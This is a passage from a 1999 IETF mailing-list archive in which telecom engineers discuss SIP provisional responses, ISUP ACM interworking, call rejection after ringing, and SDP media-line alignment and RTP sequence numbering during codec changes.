with ISUP, and in that case it would mean map an ACM from a PSTN term
to a 183.  In that scenario, I don't see a 600 getting the chance to
be generated back to the SIP network after a 183.  If an ISUP network
encounters a busy condition, it sends back a REL with cause, not an ACM,
unless it is providing in-band busy tones, which is not a problem.
There may be other signalling types where this situation could occur.
If anyone knows how this could happen, please enlighten me.

 I think the original point by Adam where we could have ringing followed
by busy was if we sent ringback when a 100 Trying was received at an
originating gateway.  I think we can scratch that idea.  I had originally
suggested it if a client was implemented that sent a 100 Trying but
not a 180 Ringing while waiting for a human to accept the session.
In such a case and when the session originated from an ISUP gateway,
the ANSI T7 timer would expire, typically in 20 seconds, and the ISUP
network would tear down the call.

 If callee clients behave this way, they will find attempts have short
wait times waiting for a human to accept, with the attempts being aborted.
Many people may be unhappy with this and complain to their client equipment
vendor.  Perhaps a best practices I-D or something is needed advising
clients to not wait around long after sending 100 Trying, but instead
send 180 ringing (or 183) while alerting a callee.

John Hearty
MCI Worldcom



Date: Mon, 19 Apr 1999 21:39 -0500 (CDT)
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
To: Tom-PT Taylor <taylor@nortelnetworks.com>
CC: confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Subject: Re: Behavior of SIP Callee user agent

Tom-PT Taylor wrote:
> 
> What a lot of PSTN interworking problems would be solved if SIP assumed a
> reliable transport end-to-end and we could count on "100 Trying" to carry
> back the ACM and the "180 Ringing" to carry back the SDP to trigger ringing!

There are really two separate problems, and both are solvable:

1. 1XX responses are not reliable
2. 1XX responses are not mandatory

The first of these is solved by an extension Henning and I submitted two
IETF's back, which provides reliable provisional responses. As with
other SIP extensions, the caller (an originating gateway here), would
indicate its need for this extension in a Require header. 

The second problem is addressed in a similar way. We simply define an
extension, say:

org.ietf.send180

and include this in a Require header in the INVITE as well. This
extension, which must always be used with reliable responses, simply
says that you should send a 180 (or 183, as discussed, for remote
generated tones an announcements) when ringback is being provided at the
remote end. Then, the calling gateway sends an ACM when it receives
either 180 or 183.

Of course, as has been pointed out, there are other, harder problems. If
the 180 causes local ringback at the originating gateway, and is then
followed by a 600, this causes the caller to hear a transition from
ringing to fast busy. I don't see any solution to this, however. 

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Apr 21 09:29:42 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA28203
	for confctrl-outgoing; Wed, 21 Apr 1999 09:29:42 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA28195
	for <confctrl@zephyr.isi.edu>; Wed, 21 Apr 1999 09:29:39 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA22344
	for <confctrl@ISI.EDU>; Wed, 21 Apr 1999 09:29:28 -0700 (PDT)
Received: from mr3.exu.ericsson.se ([138.85.11.55])
	by gwa.ericsson.com (8.8.8/8.8.8) with ESMTP id LAA12723;
	Wed, 21 Apr 1999 11:28:43 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id LAA14264;
	Wed, 21 Apr 1999 11:28:43 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id LAA05812; Wed, 21 Apr 1999 11:28:41 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id LAA00605;
	Wed, 21 Apr 1999 11:28:39 -0500 (CDT)
Message-Id: <199904211628.LAA00605@b04a24.exu.ericsson.se>
Subject: Re: Behavior of SIP Callee user agent
To: taylor@nortelnetworks.com (Tom-PT Taylor)
Date: Wed, 21 Apr 1999 11:28:39 -0500 (CDT)
Cc: confctrl@ISI.EDU
In-Reply-To: <C51ED84B6F47D211917A0000F8BCBD11011B999F@zcard00g.ca.nortel.com> from "Tom-PT Taylor" at Apr 20, 99 11:03:43 am
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I beleive the problem situation here is where you have a proxy server
between two gateways. A valid sequence of messages would be:

gw1          proxy          gw2
 ----INVITE---->
 <-----100------
               ----INVITE---->
               <-----484------
 <-----484------

If you map 1xx messages to an ACM *and* have no further method of
digit collection, this may cause something of a problem.

Taking up the issue of ACM messages in the ISUP world: It is my
understanding that ACM is used in a variety of cases to set up
an end-to-end audio channel; not just in the case of ringing.

For example, the operator-assisted portion of operator-assited
calls *can* occur after an ACM, but before an ANM. It's not clear
how sending an ACM before a clear indication of ringing or
error would necessarily break the SS7 side of things.

The problem of overlapped dialing can be solved in a variety of
ways:

1) As you suggest, wait for a 180, a 183, or a final response 
   before sending an ACM. This requires the addition of provisional 
   ACKs (hence special clients) to work reliably.

2) An inter-digit timeout on the ingress gateway; in this case, a 484
   would indicate user error (similar to giving a "short" number
   from a native SIP client).

3) Collection of additional digits by the gateway itself if it receives
   a 484 message. Of course, this breaks down for pulse dialing (unless
   you try to get *really* smart and count the audible "clicks" on the
   line).

Each solution has its caveats; however, only the first is broken by a 
pre-ringing ACM message.

>But intermediate SIP servers won't send back ACMs.
>
>> -----Original Message-----
>> From:	Christian Huitema [SMTP:huitema@research.telcordia.com]
>> Sent:	Tuesday, April 20, 1999 10:57 AM
>> To:	Taylor, Tom-PT [CAR:5V00-I:EXCH]; Christian Huitema;
>> confctrl@isi.edu
>> Subject:	Re: Behavior of SIP Callee user agent
>> 
>> On Apr 20,  9:02am, Tom-PT Taylor wrote:
>> > Subject: RE: Behavior of SIP Callee user agent
>> > Obviously one would return "484 Address Incomplete" rather than "100
>> Trying"
>> > in the case of overlap dialling, and would not return the ACM until the
>> > requisite SAM in the forward direction justified it.
>> 
>> Except when dealing with relays.  It may well be that only the final step
>> in the signalling chain knows that the address is incomplete.  The
>> intermediate SIP servers could well send a Trying response...
>> 
>> -- 
>> Christian Huitema
>> ------------------------------
>> Please note my new address: huitema@research.telcordia.com
>> http://www.telcordia.com/


-- 
Adam Roach                 |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
EUS/XT/N                   | Fax: +1 972 669 0154 | Richardson, TX 75081
adam.roach@ericsson.com    | ECN: 800 37594   <*> | USA

From confctrl-owner  Wed Apr 21 09:33:29 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA28374
	for confctrl-outgoing; Wed, 21 Apr 1999 09:33:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA28369
	for <confctrl@zephyr.isi.edu>; Wed, 21 Apr 1999 09:33:28 -0700 (PDT)
Received: from ce-nfs-1.cisco.com (ce-nfs-1.cisco.com [171.68.201.251])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA22708
	for <confctrl@ISI.EDU>; Wed, 21 Apr 1999 09:33:27 -0700 (PDT)
Received: from glock (glock.cisco.com [171.68.37.125]) by ce-nfs-1.cisco.com (8.8.5/CA/950118) with SMTP id JAA29443; Wed, 21 Apr 1999 09:32:50 -0700 (PDT)
Message-ID: <00d801be8c14$958357c0$7d2544ab@glock.cisco.com>
From: "Stephen Sprunk" <ssprunk@cisco.com>
To: "=?iso-8859-1?Q?Peter_Peld=E1n?=" <Peter.Peldan@ellemtel.se>,
        "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>,
        "confctrl" <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
Date: Wed, 21 Apr 1999 11:28:19 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.1
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>Why do we need to use the same sequence number space? If the new
>codec-stream is to related to new sets of ports isn't it more natural to
>start a new RTP/RTCP session with new sequencenumbers?

It's the same RTP stream on the same ports, just with a different codec
suddenly.

>With a permanent switch to the new codec, the old RTP-listener would
>simply notice that packets stop coming, and for temporary switches like
>DTMF there would be a period of silence in the old stream much like when
>silence detection/voice activation is used.

Because the change wouldn't necessarily be permanent.  To avoid tandem
codings, a voicemail system would want to store the media sent to it in the
original codec on the chance that the listener could  understand that codec;
if not, it could transcode.  In that case, the prompts could be in G.711,
and the messages a mix of G.729, G.723, and others; in an average session,
you could have dozens of codec changes.

In that case, the media for codec 2 may show up before the media for codec 1
has finished playing, etc.  Synchronization is the receiver's job, and
without a consistent sequence number, it's impossible.

And let's not forget applications like RAT which already send RTP streams
with multiple payload types (of the same sample) in each packet.  That is
accepted behavior which RTP receivers are expected to handle.

>> So, it seems the best way to handle this is to have a single entity
>> listening on the port for RTP, and then invoking libraries or other apps
>> from there to handle specific codecs.
>
>That may be the case, but such a requirement will severely restrict the
>possibility of using a plug-in architecture in the UA. One would have to
>specify an API between the RTP-module and the multimedia modules. And if
>that API should allow true dynamical linking one would probably have to
>use COM or Java to implement the RTP-part.

Windows already has such an API for codecs already; it seems to work
extremely well.  Defining a Java interface for RTP playback seems to be a
very simple operation to me; since my Java experience is limited, maybe I'm
missing something.  A UNIX dll interface should be just as simple; Perl is
an excellent example of how easy it is for people to plug-in third-part dlls
to a program.

> (If using a dll -- or other
>shared library -- for the RTP-module all multimedia modules using this
>method would have to have access to exact the same RTP-dll at build
>time, which again would severely restrict the possibility of using a
>plug-in architecture)

I'd write it so that there was one RTP library which probably only had G.711
in it, and any other codec needed (as determined by incoming media) would be
loaded on the fly by that library, with the calling application knowing no
difference.  I don't want to debate application architecture this deeply,
but it doesn't seem like that big of a deal to implement.

Stephen

     |          |         Stephen Sprunk, K5SSS, CCIE #3723
    :|:        :|:        NSA, Network Consulting Engineer
   :|||:      :|||:       14875 Landmark Blvd #400; Dallas, TX
.:|||||||:..:|||||||:.    Pager: 800-365-4578 / 800-901-6078
C I S C O S Y S T E M S   Email: ssprunk@cisco.com



From confctrl-owner  Wed Apr 21 10:25:49 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA01243
	for confctrl-outgoing; Wed, 21 Apr 1999 10:25:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA01238
	for <confctrl@zephyr.isi.edu>; Wed, 21 Apr 1999 10:25:48 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA00281
	for <confctrl@ISI.EDU>; Wed, 21 Apr 1999 10:25:36 -0700 (PDT)
Received: from mr3.exu.ericsson.se ([138.85.11.55])
	by gwa.ericsson.com (8.8.8/8.8.8) with ESMTP id MAA21882;
	Wed, 21 Apr 1999 12:24:58 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id MAA20796;
	Wed, 21 Apr 1999 12:24:45 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id MAA09338; Wed, 21 Apr 1999 12:24:44 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id MAA00947;
	Wed, 21 Apr 1999 12:24:42 -0500 (CDT)
Message-Id: <199904211724.MAA00947@b04a24.exu.ericsson.se>
Subject: Re: Behavior of SIP Callee user agent
To: John.H.Hearty@wcom.com (John Hearty)
Date: Wed, 21 Apr 1999 12:24:41 -0500 (CDT)
Cc: confctrl@ISI.EDU
In-Reply-To: <19990421145441.YIVY8403@localHost> from "John Hearty" at Apr 21, 99 09:51:00 am
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>>Of course, as has been pointed out, there are other, harder problems. If
>>the 180 causes local ringback at the originating gateway, and is then
>>followed by a 600, this causes the caller to hear a transition from
>>ringing to fast busy. I don't see any solution to this, however. 
>
> I don't understand when such a scenario would come up in normal session
>setups.  A 180 is presumably going to come from a terminating SIP client
>that got the Invite and is in the process of alerting the callee.  Why
>would a 600 follow that?  In the case of terminating at a PSTN gateway,
>I presume it would send a 183 after it received some kind of confirmation
>from the PSTN that alerting may be in progress.  I am mainly familiar
>with ISUP, and in that case it would mean map an ACM from a PSTN term
>to a 183.  In that scenario, I don't see a 600 getting the chance to
>be generated back to the SIP network after a 183.  If an ISUP network
>encounters a busy condition, it sends back a REL with cause, not an ACM,
>unless it is providing in-band busy tones, which is not a problem.
>There may be other signalling types where this situation could occur.
>If anyone knows how this could happen, please enlighten me.

A native SIP client. You're thinking of SIP as merely an IP transport
for ISUP; there will be native SIP phones, either with embedded processors
or sitting on PCs, which won't derive all their signalling from
ISUP mapping.

For a native SIP client, it may send back a 180, since it really
*is* alerting the user. However, let's say the user is, for
example, in another call. The user "does not wish to take the call
at this time" (phrasing from the SIP spec description of 600),
and clicks on a button to indicate this fact. That'll give you
the 180 followed by 600 I described.

/a

From confctrl-owner  Wed Apr 21 11:30:10 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA04456
	for confctrl-outgoing; Wed, 21 Apr 1999 11:30:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA04443
	for <confctrl@zephyr.isi.edu>; Wed, 21 Apr 1999 11:30:07 -0700 (PDT)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA09313
	for <confctrl@ISI.EDU>; Wed, 21 Apr 1999 11:30:06 -0700 (PDT)
Received: from omta3.mcit.com (omta3.mcit.com [166.37.204.5])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id SAA29421 for <confctrl@ISI.EDU>; Wed, 21 Apr 1999 18:29:07 GMT
Received: from localHost ([166.35.151.149]) by omta3.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990421182943.OXPD20027@localHost> for <confctrl@ISI.EDU>;
          Wed, 21 Apr 1999 13:29:43 -0500
Date: Wed, 21 Apr 1999 13:26 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
To: confctrl@ISI.EDU
Subject: Comments on draft-ietf-mmusic-sip-100rel-00
Message-Id: <19990421182943.OXPD20027@localHost>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


 I didn't know this one was already published.  It seems to do the
job nicely.  The only issue I saw was in the introduction where a 181
is referred to as a queing response.  I believe that changed to 182
in the RFC since this draft was written.  On the open issues, I feel
we should follow the KISS philosophy and answer no to each issue. 
More specifically on issue 3, I am hopeful implementors will be aware
of this I-D and avoid discarding requests with the RAck header.

 Not that I want anything changed regarding the approach used in this
I-D, but I am curious why you did not do something like the ACK request
that makes non-1xx responses to Invites reliable.  That said, I'd like
to see if we can revive any comments on this draft and move it along
to RFC status as quickly as possible.

 Nice work (as usual).


John Hearty
MCI Worldcom



Date: Mon, 19 Apr 1999 20:41 -0500 (CDT)
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
To: confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Subject: RE: Behavior of SIP Callee user agent

Tom Taylor wrote:

> What a lot of PSTN interworking problems would be solved if SIP assumed a
> reliable transport end-to-end and we could count on "100 Trying" to carry
> back the ACM and the "180 Ringing" to carry back the SDP to trigger
> ringing!

This is what the SIP extensions for reliable 1xx responses are supposed
to address (see the Internet draft on the topic). They need to be
finalized; comments are most appreciated.
-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Wed Apr 21 14:56:45 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA12193
	for confctrl-outgoing; Wed, 21 Apr 1999 14:56:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA12188
	for <confctrl@zephyr.isi.edu>; Wed, 21 Apr 1999 14:56:44 -0700 (PDT)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA06951
	for <confctrl@ISI.EDU>; Wed, 21 Apr 1999 14:56:43 -0700 (PDT)
Received: from omta2.mcit.com (omta2.mcit.com [166.37.204.3])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id VAA07447; Wed, 21 Apr 1999 21:56:37 GMT
Received: from localHost ([166.35.151.149]) by omta2.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990421215616.ZANF31194@localHost>;
          Wed, 21 Apr 1999 16:56:16 -0500
Date: Wed, 21 Apr 1999 16:47 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
CC: confctrl@ISI.EDU
Subject: Re: Behavior of SIP Callee user agent
Message-Id: <19990421215616.ZANF31194@localHost>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



>>>Of course, as has been pointed out, there are other, harder problems. If
>>>the 180 causes local ringback at the originating gateway, and is then
>>>followed by a 600, this causes the caller to hear a transition from
>>>ringing to fast busy. I don't see any solution to this, however. 
>>
>> I don't understand when such a scenario would come up in normal session
>>setups.  A 180 is presumably going to come from a terminating SIP client
>>that got the Invite and is in the process of alerting the callee.  Why
>>would a 600 follow that?  In the case of terminating at a PSTN gateway,
>>I presume it would send a 183 after it received some kind of confirmation
>>from the PSTN that alerting may be in progress.  I am mainly familiar
>>with ISUP, and in that case it would mean map an ACM from a PSTN term
>>to a 183.  In that scenario, I don't see a 600 getting the chance to
>>be generated back to the SIP network after a 183.  If an ISUP network
>>encounters a busy condition, it sends back a REL with cause, not an ACM,
>>unless it is providing in-band busy tones, which is not a problem.
>>There may be other signalling types where this situation could occur.
>>If anyone knows how this could happen, please enlighten me.
>
>A native SIP client. You're thinking of SIP as merely an IP transport
>for ISUP; there will be native SIP phones, either with embedded processors
>or sitting on PCs, which won't derive all their signalling from
>ISUP mapping.

 The above confuses me.  I was simply considering a scenario where
the caller originates through an ISUP gateway, and the callee is a
native SIP phone/PC client or whatever.  I don't expect to be transporting
ISUP to the SIP phone, just mapping all the pertinent information where
logical, required and possible.

>
>For a native SIP client, it may send back a 180, since it really
>*is* alerting the user. However, let's say the user is, for
>example, in another call. The user "does not wish to take the call
>at this time" (phrasing from the SIP spec description of 600),
>and clicks on a button to indicate this fact. That'll give you
>the 180 followed by 600 I described.

 Normally, it would make alot more sense for the device to be configured
ahead of time or perhaps via a DND button to know that when on calls,
send a busy response right away.  However, this might not be the case
if there were an enhanced call waiting feature in the SIP client.  Then
I could see this comming up.  I don't know if or how this is handled
in the PSTN today.  The closest I can think of is the new call waiting
caller ID services, but don't know if there is an option for the callee
to reject the call.  The designers of such a feature in a SIP client
should probably consider how to handle such a situation, keeping in
mind the types of originations (SIP or PSTN via a gateway).  This all
gets into implementation decisions which probabally should not be discussed
much on this list.  But thanks for bringing up the possibilities.

John Hearty
MCI Worldcom


From confctrl-owner  Wed Apr 21 21:54:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA00568
	for confctrl-outgoing; Wed, 21 Apr 1999 21:54:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA00562
	for <confctrl@zephyr.isi.edu>; Wed, 21 Apr 1999 21:54:02 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id VAA10756
	for <confctrl@isi.edu>; Wed, 21 Apr 1999 21:54:01 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Apr 22 00:53:47 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.122])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id AAA00164;
	Thu, 22 Apr 1999 00:53:44 -0400 (EDT)
Message-ID: <371EAB5C.C33912A1@dnrc.bell-labs.com>
Date: Thu, 22 Apr 1999 00:53:48 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: "Peter PeldÂn" <Peter.Peldan@ellemtel.se>
CC: confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <371B418C.4BC100B2@hplb.hpl.hp.com> <371BF781.EA679634@dnrc.bell-labs.com> <371C4A35.9F238F9E@hplb.hpl.hp.com> <371C858E.5AD7DCA2@dnrc.bell-labs.com> <371CAC62.8FC14118@ellemtel.se> <371CC772.1A99274B@dnrc.bell-labs.com> <371D7673.174A8681@ellemtel.se>
Content-Type: text/plain; charset=iso-8859-1
X-MIME-Autoconverted: from 8bit to quoted-printable by couch.dnrc.bell-labs.com id AAA00164
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id VAA00563
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Peter Peldán wrote:
> 
> Why do we need to use the same sequence number space? If the new
> codec-stream is to related to new sets of ports isn't it more natural to
> start a new RTP/RTCP session with new sequencenumbers?
> 
> With a permanent switch to the new codec, the old RTP-listener would
> simply notice that packets stop coming, and for temporary switches like
> DTMF there would be a period of silence in the old stream much like when
> silence detection/voice activation is used.

The problem is this; when a normal receiver runs out of packets, this
can be either due to loss (in which case it might like to recover), or
due to silence. Now, there is a third case, which is codec change. The
right behavior in all three cases is different.  Should the receiver
initially decide its due to loss, it will try some kind of interoplation
or local repair to fill in the voice. If the lack of packets was due to
codec/port change, this will be mixed with the codec that just arrived
on the other port to the other application, causing strange results. In
the other case, of silence, many systems don't just stop sending audio
to the speaker. They will sometimes generate background noise, since
dead silence is disturbing to users. Again, if the app was wrong, and it
was due to a codec change, this background noise will also be mixed with
the new codec, making for a bizarre effect. The problem is worse here
since its very hard to tell the difference between silence and long-term
codec change.

The basic problem is that SN is used for loss detection, and now the old
codec won't know how whether there is loss, or codec change.


> That may be the case, but such a requirement will severely restrict the
> possibility of using a plug-in architecture in the UA. One would have to
> specify an API between the RTP-module and the multimedia modules. And if
> that API should allow true dynamical linking one would probably have to
> use COM or Java to implement the RTP-part. (If using a dll -- or other
> shared library -- for the RTP-module all multimedia modules using this
> method would have to have access to exact the same RTP-dll at build
> time, which again would severely restrict the possibility of using a
> plug-in architecture)

As has been pointed out, the interfaces for accessing codecs I have seen
are not of the separate application per codec model, but through
libraries and API's, which is just fine.

> 
> Why is it so important to line up all media descriptors? Wouldn't it
> simply be best to drop that requirement?

Its best illustrated by an example. Consider a session which is a
classroom session between a student and a teacher. There are three
streams in the session - audio (the professor talking), a video of the
professor's face, and a video of the blackboard. When the professor
calls the student, the SDP contains three m lines, each listing two
codecs:

m=video 1 RTP/AVP 10 11   (camera)
m=video 2 RTP/AVP 10 11   (face)
m=audio 3 RTP/AVP 0 1

 Now, when the response comes, lets say the student wants to receive the
blackboard video on different ports, depending on the codec, as you
suggest, and the so it has two separate m lines. When this SDP is
returned to the professor:

m=video 5 RTP/AVP 10
m=video 6 RTP/AVP 11
m=video 7 RTP/AVP 10
m=audio 8 RTP/AVP 0 1

The professor has a dilemma. He has two video streams, but now three
places to send them. When the student "split" one of the m lines, which
one was it that was split? Are the first two lines the camera, and the
second the face, or the first one the face, and the second two, the
camera?

Basically, alignment of streams is needed since that is the only way to
associate streams in the request with streams in the response.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Apr 21 22:12:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA01186
	for confctrl-outgoing; Wed, 21 Apr 1999 22:12:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA01181
	for <confctrl@zephyr.isi.edu>; Wed, 21 Apr 1999 22:12:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id WAA11546
	for <confctrl@isi.edu>; Wed, 21 Apr 1999 22:12:02 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Apr 22 01:10:43 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.122])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id BAA00827;
	Thu, 22 Apr 1999 01:10:40 -0400 (EDT)
Message-ID: <371EAF55.ABCBF2D@dnrc.bell-labs.com>
Date: Thu, 22 Apr 1999 01:10:45 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: John Hearty <John.H.Hearty@wcom.com>
CC: "Adam B. Roach" <Adam.Roach@Ericsson.com>, confctrl@ISI.EDU
Subject: Re: Behavior of SIP Callee user agent
References: <19990421215616.ZANF31194@localHost>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

John Hearty wrote:
> 
> >For a native SIP client, it may send back a 180, since it really
> >*is* alerting the user. However, let's say the user is, for
> >example, in another call. The user "does not wish to take the call
> >at this time" (phrasing from the SIP spec description of 600),
> >and clicks on a button to indicate this fact. That'll give you
> >the 180 followed by 600 I described.
> 
>  Normally, it would make alot more sense for the device to be configured
> ahead of time or perhaps via a DND button to know that when on calls,
> send a busy response right away.  However, this might not be the case
> if there were an enhanced call waiting feature in the SIP client.

In SIP (well, IP telephony in general), call waiting is a "for-free"
service which is really trivial to support in a user agent. In fact, you
can do all kinds of neat things like listing the names of the callers
for all those calls waiting, and some scroll buttons to select who you
talk to right now. So, its a good bet you'll see it.

Its not just call waiting, though. Its perfectly reasonable for my SIP
UAS to ring (and then send 180) when someone calls, and then I can click
"reject" to send a 600 if I don't want to speak to them. The fact that
there is no actual way to reject a call on an analog pots line (I
understand this is possible with ISDN?), is more of an artifact of the
history of the phone network than a feature. In this case, ringing
followed by a busy signal may very well be the right thing to do for
indicating to the caller what happened.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Apr 21 22:36:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA02141
	for confctrl-outgoing; Wed, 21 Apr 1999 22:36:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA02136
	for <confctrl@zephyr.isi.edu>; Wed, 21 Apr 1999 22:36:02 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id WAA12536
	for <confctrl@isi.edu>; Wed, 21 Apr 1999 22:36:01 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Apr 22 01:34:15 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.122])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id BAA01257;
	Thu, 22 Apr 1999 01:34:13 -0400 (EDT)
Message-ID: <371EB4DA.7123538B@dnrc.bell-labs.com>
